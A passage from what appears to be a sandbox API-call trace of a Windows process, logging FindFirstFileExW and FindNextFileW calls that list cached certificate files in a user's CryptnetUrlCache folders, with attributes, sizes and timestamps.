ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="955CAB6FF6A24D5820D50B5BA1CF79C7_AD9E7615297A3A83320AACE5801A04F9", cAlternateFileName="955CAB~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf3f73d0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf3f73d0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf3f73d0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x186, dwReserved0=0x0, dwReserved1=0x0, cFileName="9BC2FFC5D9591E1BD3545230E9B7CC36_CF30943571F9BEE96C487B2D9F0436E6", cAlternateFileName="9BC2FF~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe06277d0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe06277d0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xb15d94e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_1213DC6F71E4C3B05E7BCEEBC203A31E", cAlternateFileName="9C888B~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe07ca6f0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe07ca6f0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0x965accc0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061", cAlternateFileName="9C888B~2")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0x0, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0089.160] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0x0, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0089.161] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd0de60b0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xd0de60b0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf9eaad0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf9eaad0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf9eaad0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="024823B39FBEACCDB5C06426A8168E99_6D5CAB161A1C65362A913D29BE09D91B", cAlternateFileName="024823~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bd8410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bd8410, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe98d390, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="0F1583FFF42FFF476A09801ACB69213F_E3F4A8C96454D7D3441D2C1BCE81F875", cAlternateFileName="0F1583~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf952550, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf952550, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf952550, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="1BB09BEEC155258835C193A7AA85AA5B_A7B2B53AF2A12E2CB0A41B96D21D7973", cAlternateFileName="1BB09B~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x4c00edb0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x4c00edb0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4c00edb0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x10c, dwReserved0=0x0, dwReserved1=0x0, cFileName="1DAF2884EC4DFA96BA4A58D4DBC9C406", cAlternateFileName="1DAF28~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x580eb5c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x580eb5c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaedd4300, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x124, dwReserved0=0x0, dwReserved1=0x0, cFileName="23B523C9E7746F715D33C6527C18EB9D", cAlternateFileName="23B523~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xc3791460, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xc3791460, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xc3791460, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="3130B1871A126520A8C47861EFE3ED4D", cAlternateFileName="3130B1~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53fdc930, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53fdc930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf16fc70, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18a, dwReserved0=0x0, dwReserved1=0x0, cFileName="3388ECC3F7BC4A9271C10ED8621E5A65_F55C512047947B70F94DE5DEC6D6838D", cAlternateFileName="3388EC~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53b19d30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53b19d30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54583d70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="40E450F7CE13419A2CCC2A5445035A0A_06F02B1F13AB4B11B8FC669BDE565AF1", cAlternateFileName="40E450~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54537ab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54537ab0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae76e7e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="4C8F841FB02DEC8C10108028DB86A08D_8DAFFFD2D43BDC7A1717F5B61C303398", cAlternateFileName="4C8F84~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x7295ee20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7295ee20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xadfb2060, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="4DD39726D4B55AC3B4119B35A893323C_46CCCFB940A93F39A734F69EFCDD76E9", cAlternateFileName="4DD397~1")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf8b9fd0, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf8b9fd0, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf8b9fd0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_2908F682DFC81A793BD240CF29711C77", cAlternateFileName="5080DC~2")) returned 1 [0089.161] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf86dd10, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf86dd10, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf86dd10, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x190, dwReserved0=0x0, dwReserved1=0x0, cFileName="5080DC7A65DB6A5960ECD874088F3328_6CBA2C06D5985DD95AE59AF8FC7C6220", cAlternateFileName="5080DC~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf7af630, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="5457A8CE4B2A7499F8299A013B6E1C7C_CE50F893881D43DC0C815E4D80FAF2B4", cAlternateFileName="5457A8~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xed9b0820, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xed9b0820, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xed9b0820, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0xf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="696F3DE637E6DE85B458996D49D759AD", cAlternateFileName="696F3D~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf763370, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf763370, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf763370, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0x0, dwReserved1=0x0, cFileName="705A76DE71EA2CAEBB8F0907449CE086_9752C5B2D53EE7A19F7764B52968EC21", cAlternateFileName="705A76~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedb2d5e0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedb2d5e0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xedb2d5e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x100, dwReserved0=0x0, dwReserved1=0x0, cFileName="7396C420A8E1BC1DA97F1AF0D10BAD21", cAlternateFileName="7396C4~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x312640, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x1b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="7423F88C7F265F0DEFC08EA88C3BDE45_D975BBA8033175C8D112023D8A7A8AD6", cAlternateFileName="7423F8~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28dbdd20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd48e2bf0, ftLastWriteTime.dwHighDateTime=0x1d2dda1, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B2238AACCEDC3F1FFE8E7EB5F575EC9", cAlternateFileName="7B2238~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b2324c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b2324c0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b2324c0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="7B8944BA8AD0EFDF0E01A43EF62BECD0_B2DB1CC4B5F2D2A802D56AAED525802D", cAlternateFileName="7B8944~1")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x6b199f40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x6b199f40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x6b199f40, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0x0, dwReserved1=0x0, cFileName="7D266D9E1E69FA1EEFB9699B009B34C8_0A9BFDD75B598C2110CBF610C078E6E6", cAlternateFileName="7D266D~2")) returned 1 [0089.162] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefaf7160, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefaf7160, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaec313e0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0x0, dwReserved1=0x0, 